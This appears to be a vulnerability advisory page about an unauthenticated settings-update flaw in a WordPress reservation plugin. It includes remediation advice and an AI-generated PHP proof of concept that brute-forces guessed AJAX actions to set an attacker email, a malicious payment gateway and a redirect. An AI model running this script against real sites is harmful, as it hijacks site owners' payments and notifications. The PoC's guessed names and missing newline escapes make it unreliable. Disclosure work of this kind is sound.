Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69095: Reservation <= 1.7 – Missing Authorization to Unauthenticated Settings Update (dt-reservation-plugin)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.7
Patched Version
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69095 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Reservation Plugin (dt-reservation-plugin) for WordPress, affecting all versions up to and including 1.7. The vulnerability allows unauthenticated attackers to modify plugin settings. The CVSS:3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N indicates a network-based attack with low complexity, no privileges required, no user interaction, and impacts integrity with no confidentiality or availability loss, resulting in a 5.3 (Medium) score.

CWE-862 (Missing Authorization) indicates the plugin lacks proper capability checks on a function that handles settings updates. Atomic Edge research infers this function is likely registered as a WordPress AJAX handler or admin-post endpoint without verifying the user’s permission level. The description confirms the missing capability check, but without source code, the exact hook name and parameter structure remain inferred. WordPress plugins commonly use `wp_ajax_nopriv_` hooks for unauthenticated AJAX actions, which would be the probable vector here.

Exploitation involves sending a crafted HTTP request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`) or admin-post endpoint (`/wp-admin/admin-post.php`). The attacker must identify the correct `action` parameter value, which likely contains the plugin slug or a derivative like `dt_reservation_update_settings`. The payload would contain POST parameters corresponding to plugin settings options. Attackers could brute-force common action names or extract them from public JavaScript files if available.

Remediation requires adding a proper authorization check before processing the settings update request. The fix should implement `current_user_can()` with an appropriate capability like `manage_options` or a plugin-specific capability. Additionally, nonce verification should be added to prevent CSRF attacks. The patched version should remove any `wp_ajax_nopriv_` registration for administrative functions, ensuring only authenticated users with proper privileges can access them.

Successful exploitation allows attackers to modify the plugin’s configuration. Impact depends on which settings are controllable. Attackers could disable security features, change booking parameters, modify email notifications, or redirect payment information. While the CVSS score indicates no confidentiality impact, altered settings could indirectly lead to data exposure or business logic disruption. This vulnerability does not directly enable privilege escalation or remote code execution.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69095 - Reservation <= 1.7 - Missing Authorization to Unauthenticated Settings Update
<?php
/**
 * Proof of Concept for CVE-2025-69095
 * This script attempts to exploit the missing authorization vulnerability
 * by sending a settings update request to the WordPress AJAX endpoint.
 * The exact action parameter and settings fields are inferred from common patterns.
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Common AJAX action names derived from plugin slug 'dt-reservation-plugin'
$possible_actions = [
    'dt_reservation_update_settings',
    'dt_reservation_save_settings',
    'reservation_update_options',
    'dt_reservation_ajax_update',
    'dt_reservation_plugin_update_settings'
];

// Example settings payload - attackers would need to determine actual option names
$settings_payload = [
    'booking_email' => 'attacker@example.com',
    'payment_gateway' => 'malicious_gateway',
    'security_mode' => '0',
    'redirect_url' => 'http://malicious-site.com'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

foreach ($possible_actions as $action) {
    $post_data = array_merge(['action' => $action], $settings_payload);
    
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    echo "Testing action: {$action}n";
    echo "HTTP Status: {$http_code}n";
    echo "Response: {$response}n";
    echo str_repeat('-', 50) . "n";
    
    // Check for success indicators
    if (strpos($response, 'success') !== false || 
        strpos($response, 'updated') !== false ||
        strpos($response, 'saved') !== false) {
        echo "[+] Potential success with action: {$action}n";
        break;
    }
}

curl_close($ch);
?>

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